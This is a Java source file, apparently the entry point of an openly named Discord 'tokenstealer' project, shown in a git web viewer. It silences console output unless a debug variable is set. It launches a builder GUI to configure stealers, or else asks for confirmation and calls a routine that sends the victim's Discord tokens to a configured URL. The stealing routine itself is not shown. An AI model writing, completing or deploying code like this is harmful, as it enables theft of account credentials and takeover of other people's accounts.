aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/de/romjaki/tokenstealer/Main.java
blob: 80e094211aa3430f569d3bf74ef71a3cf4511552 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package de.romjaki.tokenstealer;

import de.romjaki.tokenstealer.builder.Builder;
import de.romjaki.tokenstealer.builder.Config;
import de.romjaki.tokenstealer.stealer.Stealer;

import javax.swing.*;
import java.io.OutputStream;
import java.io.PrintStream;
import java.util.Objects;

import static javax.swing.WindowConstants.EXIT_ON_CLOSE;

public class Main {
    public static void main(String[] args) {
        PrintStream nullStream = new PrintStream(new OutputStream() {
            @Override
            public void write(int i) {
            }
        });
            if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) {
            System.setOut(nullStream);
            System.setErr(nullStream);
        }
        Config.load(args);
        if (Config.INSTANCE == null) {
            Builder builder = new Builder();
            builder.setDefaultCloseOperation(EXIT_ON_CLOSE);
            builder.setVisible(true);
        } else if (
                JOptionPane.showConfirmDialog(
                        null,
                        "I'm gonna send your discord token(s) to "
                                + Config.INSTANCE.getRequest()
                                + ". Are you okay with this?",
                        "WARNING",
                        JOptionPane.OK_CANCEL_OPTION, JOptionPane.ERROR_MESSAGE
                ) == JOptionPane.OK_OPTION) {
            Stealer.steal();
        }
    }

}